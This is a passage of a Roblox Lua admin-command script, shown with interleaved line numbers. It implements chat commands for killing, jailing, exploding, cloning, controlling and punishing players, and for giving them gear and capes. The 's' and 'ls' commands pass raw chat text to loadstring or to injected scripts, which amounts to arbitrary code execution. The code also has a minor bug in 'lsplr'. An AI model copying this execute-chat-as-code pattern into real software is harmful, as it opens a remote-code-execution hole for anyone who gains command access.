for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
453
end
454
455
if msg:lower():sub(1,2) == "s " then
456
coroutine.resume(coroutine.create(function()
457
Output(msg:sub(3), plr)
458
if script:findFirstChild("ScriptBase") then
459
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
460
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
461
else loadstring(msg:sub(3))()
462
end
463
end))
464
end
465
466
if msg:lower():sub(1,3) == "ls " then
467
coroutine.resume(coroutine.create(function()
468
if script:findFirstChild("LocalScriptBase") then
469
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
470
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
471
end
472
end))
473
end
474
475
if msg:lower():sub(1,6) == "lsplr " then
476
local chk1 = msg:lower():sub(7):find(" ") + 6
477
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
478
for i, v in pairs(plrz) do
479
coroutine.resume(coroutine.create(function()
480
if v and v:findFirstChild("PlayerGui") then
481
if script:findFirstChild("LocalScriptBase") then
482
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
483
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
484
end
485
end
486
end))
487
end
488
end
489
490
if msg:lower():sub(1,4) == "ins " then
491
coroutine.resume(coroutine.create(function()
492
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
493
if obj and #obj:children() >= 1 and plr.Character then
494
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
495
end
496
end))
497
end
498
499
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
500
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
501
RemoveMessage()
502
objects = {}
503
end
504
505
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
506
game.Lighting.Ambient = origsettings.abt
507
game.Lighting.Brightness = origsettings.brt
508
game.Lighting.TimeOfDay = origsettings.time
509
game.Lighting.FogColor = origsettings.fclr
510
game.Lighting.FogEnd = origsettings.fe
511
game.Lighting.FogStart = origsettings.fs
512
for i, v in pairs(lobjs) do v:Destroy() end
513
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
514
end
515
516
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
517
coroutine.resume(coroutine.create(function()
518
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
519
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
520
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
521
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
522
end))
523
end
524
525
if msg:lower():sub(1,10) == "countdown " then
526
local num = math.min(tonumber(msg:sub(11)),120)
527
for i = num, 1, -1 do
528
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
529
wait(1)
530
end
531
end
532
533
if msg:lower():sub(1,3) == "tm " then
534
local chk1 = msg:lower():sub(4):find(" ") + 3
535
local num = tonumber(msg:sub(4,chk1-1))
536
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
537
end
538
539
if msg:lower():sub(1,2) == "m " then
540
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
541
end
542
543
if msg:lower():sub(1,2) == "h " then
544
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
545
end
546
547
if msg:lower():sub(1,3) == "pm " then
548
local chk1 = msg:lower():sub(4):find(" ") + 3
549
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
550
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
551
end
552
553
if msg:lower():sub(1,11) == "resetstats " then
554
local plrz = GetPlr(plr, msg:lower():sub(12))
555
for i, v in pairs(plrz) do
556
coroutine.resume(coroutine.create(function()
557
if v and v:findFirstChild("leaderstats") then
558
for a, q in pairs(v.leaderstats:children()) do
559
if q:IsA("IntValue") then q.Value = 0 end
560
end
561
end
562
end))
563
end
564
end
565
566
if msg:lower():sub(1,5) == "gear " then
567
local chk1 = msg:lower():sub(6):find(" ") + 5
568
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
569
for i, v in pairs(plrz) do
570
coroutine.resume(coroutine.create(function()
571
if v and v:findFirstChild("Backpack") then
572
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
573
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
574
obj:Destroy()
575
end
576
end))
577
end
578
end
579
580
if msg:lower():sub(1,4) == "hat " then
581
local chk1 = msg:lower():sub(5):find(" ") + 4
582
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
583
for i, v in pairs(plrz) do
584
coroutine.resume(coroutine.create(function()
585
if v and v.Character then
586
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
587
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
588
obj:Destroy()
589
end
590
end))
591
end
592
end
593
594
if msg:lower():sub(1,5) == "cape " then
595
local chk1 = msg:lower():sub(6):find(" ")
596
local plrz = GetPlr(plr, msg:lower():sub(6))
597
local str = "torso.BrickColor"
598
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
599
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
600
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
601
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
602
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
603
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
604
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
605
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
606
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
607
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
608
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
609
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
610
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
611
if BrickColor.new(teststr) ~= nil then str = teststr end
612
end
613
for i, v in pairs(plrz) do
614
coroutine.resume(coroutine.create(function()
615
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
616
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
617
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
618
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
619
local torso = plr.Character.Torso
620
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
621
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
622
p.Size = Vector3.new(.2,.2,.2)
623
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
624
local motor1 = Instance.new("Motor", p)
625
motor1.Part0 = p
626
motor1.Part1 = torso
627
motor1.MaxVelocity = .01
628
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
629
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
630
local wave = false
631
repeat wait(1/44)
632
local ang = 0.1
633
local oldmag = torso.Velocity.magnitude
634
local mv = .002
635
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
636
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
637
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
638
motor1.DesiredAngle = -ang
639
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
640
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
641
if torso.Velocity.magnitude < .1 then wait(.1) end
642
until not p or p.Parent ~= torso.Parent
643
script:Destroy()
644
]] cl.Parent = v.PlayerGui cl.Disabled = false
645
end
646
end))
647
end
648
end
649
650
if msg:lower():sub(1,7) == "uncape " then
651
local plrz = GetPlr(plr, msg:lower():sub(8))
652
for i, v in pairs(plrz) do
653
coroutine.resume(coroutine.create(function()
654
if v and v:findFirstChild("PlayerGui") and v.Character then
655
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
656
end
657
end))
658
end
659
end
660
661
if msg:lower():sub(1,7) == "noclip " then
662
local plrz = GetPlr(plr, msg:lower():sub(8))
663
for i, v in pairs(plrz) do
664
coroutine.resume(coroutine.create(function()
665
if v and v:findFirstChild("PlayerGui") then
666
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
667
cl.Parent = v.PlayerGui cl.Disabled = false
668
end
669
end))
670
end
671
end
672
673
if msg:lower():sub(1,5) == "clip " then
674
local plrz = GetPlr(plr, msg:lower():sub(6))
675
for i, v in pairs(plrz) do
676
coroutine.resume(coroutine.create(function()
677
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
678
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
679
v.Character.Torso.Anchored = false
680
wait(.1) v.Character.Humanoid.PlatformStand = false
681
end
682
end))
683
end
684
end
685
686
if msg:lower():sub(1,5) == "jail " then
687
local plrz = GetPlr(plr, msg:lower():sub(6))
688
for i, v in pairs(plrz) do
689
coroutine.resume(coroutine.create(function()
690
if v and v.Character and v.Character:findFirstChild("Torso") then 
691
local vname = v.Name
692
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
693
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
694
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
695
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
696
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
697
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
698
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
699
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
700
end)
701
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
702
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
703
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
704
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
705
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
706
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
707
local msh2 = msh:Clone() msh2.Parent = back
708
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
709
local msh4 = msh3:Clone() msh4.Parent = left
710
v.Character.Torso.CFrame = cf
711
end
712
end))
713
end
714
end
715
716
if msg:lower():sub(1,7) == "unjail " then
717
local plrz = GetPlr(plr, msg:lower():sub(8))
718
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
719
end
720
721
if msg:lower():sub(1,11) == "starttools " then
722
local plrz = GetPlr(plr, msg:lower():sub(12))
723
for i, v in pairs(plrz) do
724
coroutine.resume(coroutine.create(function()
725
if v and v:findFirstChild("Backpack") then
726
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
727
end
728
end))
729
end
730
end
731
732
if msg:lower():sub(1,6) == "sword " then
733
local plrz = GetPlr(plr, msg:lower():sub(7))
734
for i, v in pairs(plrz) do
735
coroutine.resume(coroutine.create(function()
736
if v and v:findFirstChild("Backpack") then
737
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
738
sword.GripForward = Vector3.new(-1,0,0)
739
sword.GripPos = Vector3.new(0,0,-1.5)
740
sword.GripRight = Vector3.new(0,1,0)
741
sword.GripUp = Vector3.new(0,0,1)
742
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
743
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
744
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
745
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
746
local Damage = 15
747
local SlashSound = Instance.new("Sound", script.Parent.Handle)
748
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
749
SlashSound.Volume = 1
750
local LungeSound = Instance.new("Sound", script.Parent.Handle)
751
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
752
LungeSound.Volume = 1
753
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
754
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
755
UnsheathSound.Volume = 1
756
local last = 0
757
script.Parent.Handle.Touched:connect(function(hit)
758
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
759
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
760
hit.Parent.Humanoid:TakeDamage(Damage)
761
end
762
end)
763
script.Parent.Activated:connect(function()
764
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
765
script.Parent.Enabled = false
766
local tick = game:service("RunService").Stepped:wait()
767
if tick - last <= .2 then
768
LungeSound:play()
769
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
770
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
771
wait(.2)
772
script.Parent.GripForward = Vector3.new(0,0,1)
773
script.Parent.GripRight = Vector3.new(0,-1,0)
774
script.Parent.GripUp = Vector3.new(-1,0,0)
775
wait(.3)
776
frc:Destroy() wait(.5)
777
script.Parent.GripForward = Vector3.new(-1,0,0)
778
script.Parent.GripRight = Vector3.new(0,1,0)
779
script.Parent.GripUp = Vector3.new(0,0,1)
780
else
781
SlashSound:play()
782
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
783
end
784
last = tick
785
script.Parent.Enabled = true
786
end)
787
script.Parent.Equipped:connect(function(mouse)
788
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
789
UnsheathSound:play()
790
script.Parent.Enabled = true
791
if not mouse then return end
792
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
793
end)]] cl.Disabled = false 
794
end
795
end))
796
end
797
end
798
799
if msg:lower():sub(1,6) == "clone " then
800
local plrz = GetPlr(plr, msg:lower():sub(7))
801
for i, v in pairs(plrz) do
802
coroutine.resume(coroutine.create(function()
803
if v and v.Character then 
804
v.Character.Archivable = true 
805
local cl = v.Character:Clone() 
806
table.insert(objects,cl) 
807
cl.Parent = game.Workspace 
808
cl:MoveTo(v.Character:GetModelCFrame().p)
809
cl:MakeJoints()
810
v.Character.Archivable = false 
811
end
812
end))
813
end
814
end
815
816
if msg:lower():sub(1,8) == "control " then
817
local plrz = GetPlr(plr, msg:lower():sub(9))
818
for i, v in pairs(plrz) do
819
coroutine.resume(coroutine.create(function()
820
if v and v.Character then
821
v.Character.Humanoid.PlatformStand = true
822
local w = Instance.new("Weld", plr.Character.Torso ) 
823
w.Part0 = plr.Character.Torso 
824
w.Part1 = v.Character.Torso  
825
local w2 = Instance.new("Weld", plr.Character.Head) 
826
w2.Part0 = plr.Character.Head 
827
w2.Part1 = v.Character.Head  
828
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
829
w3.Part0 = plr.Character:findFirstChild("Right Arm")
830
w3.Part1 = v.Character:findFirstChild("Right Arm") 
831
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
832
w4.Part0 = plr.Character:findFirstChild("Left Arm")
833
w4.Part1 = v.Character:findFirstChild("Left Arm") 
834
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
835
w5.Part0 = plr.Character:findFirstChild("Right Leg")
836
w5.Part1 = v.Character:findFirstChild("Right Leg") 
837
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
838
w6.Part0 = plr.Character:findFirstChild("Left Leg")
839
w6.Part1 = v.Character:findFirstChild("Left Leg") 
840
plr.Character.Head.face:Destroy()
841
for i, p in pairs(v.Character:children()) do
842
if p:IsA("BasePart") then 
843
p.CanCollide = false
844
end
845
end
846
for i, p in pairs(plr.Character:children()) do
847
if p:IsA("BasePart") then 
848
p.Transparency = 1 
849
elseif p:IsA("Hat") then
850
p:Destroy()
851
end
852
end
853
v.Character.Parent = plr.Character
854
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
855
end
856
end))
857
end
858
end
859
860
if msg:lower():sub(1,5) == "kill " then
861
local plrz = GetPlr(plr, msg:lower():sub(6))
862
for i, v in pairs(plrz) do
863
coroutine.resume(coroutine.create(function()
864
if v and v.Character then v.Character:BreakJoints() end
865
end))
866
end
867
end
868
869
if msg:lower():sub(1,8) == "respawn " then
870
local plrz = GetPlr(plr, msg:lower():sub(9))
871
for i, v in pairs(plrz) do
872
coroutine.resume(coroutine.create(function()
873
if v and v.Character then v:LoadCharacter() end
874
end))
875
end
876
end
877
878
if msg:lower():sub(1,5) == "trip " then
879
local plrz = GetPlr(plr, msg:lower():sub(6))
880
for i, v in pairs(plrz) do
881
coroutine.resume(coroutine.create(function()
882
if v and v.Character and v.Character:findFirstChild("Torso") then 
883
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
884
end
885
end))
886
end
887
end
888
889
if msg:lower():sub(1,5) == "stun " then
890
local plrz = GetPlr(plr, msg:lower():sub(6))
891
for i, v in pairs(plrz) do
892
coroutine.resume(coroutine.create(function()
893
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
894
v.Character.Humanoid.PlatformStand = true
895
end
896
end))
897
end
898
end
899
900
if msg:lower():sub(1,7) == "unstun " then
901
local plrz = GetPlr(plr, msg:lower():sub(8))
902
for i, v in pairs(plrz) do
903
coroutine.resume(coroutine.create(function()
904
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
905
v.Character.Humanoid.PlatformStand = false
906
end
907
end))
908
end
909
end
910
911
if msg:lower():sub(1,5) == "jump " then
912
local plrz = GetPlr(plr, msg:lower():sub(6))
913
for i, v in pairs(plrz) do
914
coroutine.resume(coroutine.create(function()
915
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
916
v.Character.Humanoid.Jump = true
917
end
918
end))
919
end
920
end
921
922
if msg:lower():sub(1,4) == "sit " then
923
local plrz = GetPlr(plr, msg:lower():sub(5))
924
for i, v in pairs(plrz) do
925
coroutine.resume(coroutine.create(function()
926
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
927
v.Character.Humanoid.Sit = true
928
end
929
end))
930
end
931
end
932
933
if msg:lower():sub(1,10) == "invisible " then
934
local plrz = GetPlr(plr, msg:lower():sub(11))
935
for i, v in pairs(plrz) do
936
coroutine.resume(coroutine.create(function()
937
if v and v.Character then 
938
for a, obj in pairs(v.Character:children()) do 
939
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
940
end
941
end
942
end))
943
end
944
end
945
946
if msg:lower():sub(1,8) == "visible " then
947
local plrz = GetPlr(plr, msg:lower():sub(9))
948
for i, v in pairs(plrz) do
949
coroutine.resume(coroutine.create(function()
950
if v and v.Character then 
951
for a, obj in pairs(v.Character:children()) do 
952
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
953
end
954
end
955
end))
956
end
957
end
958
959
if msg:lower():sub(1,5) == "lock " then
960
local plrz = GetPlr(plr, msg:lower():sub(6))
961
for i, v in pairs(plrz) do
962
coroutine.resume(coroutine.create(function()
963
if v and v.Character then 
964
for a, obj in pairs(v.Character:children()) do 
965
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
966
end
967
end
968
end))
969
end
970
end
971
972
if msg:lower():sub(1,7) == "unlock " then
973
local plrz = GetPlr(plr, msg:lower():sub(8))
974
for i, v in pairs(plrz) do
975
coroutine.resume(coroutine.create(function()
976
if v and v.Character then 
977
for a, obj in pairs(v.Character:children()) do 
978
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
979
end
980
end
981
end))
982
end
983
end
984
985
if msg:lower():sub(1,8) == "explode " then
986
local plrz = GetPlr(plr, msg:lower():sub(9))
987
for i, v in pairs(plrz) do
988
coroutine.resume(coroutine.create(function()
989
if v and v.Character and v.Character:findFirstChild("Torso") then 
990
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
991
end
992
end))
993
end
994
end
995
996
if msg:lower():sub(1,4) == "age " then
997
local plrz = GetPlr(plr, msg:lower():sub(5))
998
for i, v in pairs(plrz) do
999
coroutine.resume(coroutine.create(function()
1000
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
1001
end))
1002
end
1003
end
1004
1005
if msg:lower():sub(1,5) == "fire " then
1006
local plrz = GetPlr(plr, msg:lower():sub(6))
1007
for i, v in pairs(plrz) do
1008
coroutine.resume(coroutine.create(function()
1009
if v and v.Character and v.Character:findFirstChild("Torso") then 
1010
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1011
end
1012
end))
1013
end
1014
end
1015
1016
if msg:lower():sub(1,7) == "unfire " then
1017
local plrz = GetPlr(plr, msg:lower():sub(8))
1018
for i, v in pairs(plrz) do
1019
coroutine.resume(coroutine.create(function()
1020
if v and v.Character and v.Character:findFirstChild("Torso") then 
1021
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1022
end
1023
end))
1024
end
1025
end
1026
1027
if msg:lower():sub(1,6) == "smoke " then
1028
local plrz = GetPlr(plr, msg:lower():sub(7))
1029
for i, v in pairs(plrz) do
1030
coroutine.resume(coroutine.create(function()
1031
if v and v.Character and v.Character:findFirstChild("Torso") then 
1032
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1033
end
1034
end))
1035
end
1036
end
1037
1038
if msg:lower():sub(1,8) == "unsmoke " then
1039
local plrz = GetPlr(plr, msg:lower():sub(9))
1040
for i, v in pairs(plrz) do
1041
coroutine.resume(coroutine.create(function()
1042
if v and v.Character and v.Character:findFirstChild("Torso") then 
1043
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1044
end
1045
end))
1046
end
1047
end
1048
1049
if msg:lower():sub(1,9) == "sparkles " then
1050
local plrz = GetPlr(plr, msg:lower():sub(10))
1051
for i, v in pairs(plrz) do
1052
coroutine.resume(coroutine.create(function()
1053
if v and v.Character and v.Character:findFirstChild("Torso") then 
1054
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1055
end
1056
end))
1057
end
1058
end
1059
1060
if msg:lower():sub(1,11) == "unsparkles " then
1061
local plrz = GetPlr(plr, msg:lower():sub(12))
1062
for i, v in pairs(plrz) do
1063
coroutine.resume(coroutine.create(function()
1064
if v and v.Character and v.Character:findFirstChild("Torso") then 
1065
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1066
end
1067
end))
1068
end
1069
end
1070
1071
if msg:lower():sub(1,3) == "ff " then
1072
local plrz = GetPlr(plr, msg:lower():sub(4))
1073
for i, v in pairs(plrz) do
1074
coroutine.resume(coroutine.create(function()
1075
if v and v.Character then Instance.new("ForceField", v.Character) end
1076
end))
1077
end
1078
end
1079
1080
if msg:lower():sub(1,5) == "unff " then
1081
local plrz = GetPlr(plr, msg:lower():sub(6))
1082
for i, v in pairs(plrz) do
1083
coroutine.resume(coroutine.create(function()
1084
if v and v.Character then 
1085
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1086
end
1087
end))
1088
end
1089
end
1090
1091
if msg:lower():sub(1,7) == "punish " then
1092
local plrz = GetPlr(plr, msg:lower():sub(8))
1093
for i, v in pairs(plrz) do
1094
coroutine.resume(coroutine.create(function()
1095
if v and v.Character then 
1096
v.Character.Parent = game:service("Lighting")
1097
end
1098
end))
1099
end
1100
end
1101
1102
if msg:lower():sub(1,9) == "unpunish " then
1103
local plrz = GetPlr(plr, msg:lower():sub(10))
1104
for i, v in pairs(plrz) do
1105
coroutine.resume(coroutine.create(function()
1106
if v and v.Character then 
1107
v.Character.Parent = game:service("Workspace")
1108
v.Character:MakeJoints()
1109
end
1110
end))
1111
end
1112
end
1113
1114
if msg:lower():sub(1,7) == "freeze " then
1115
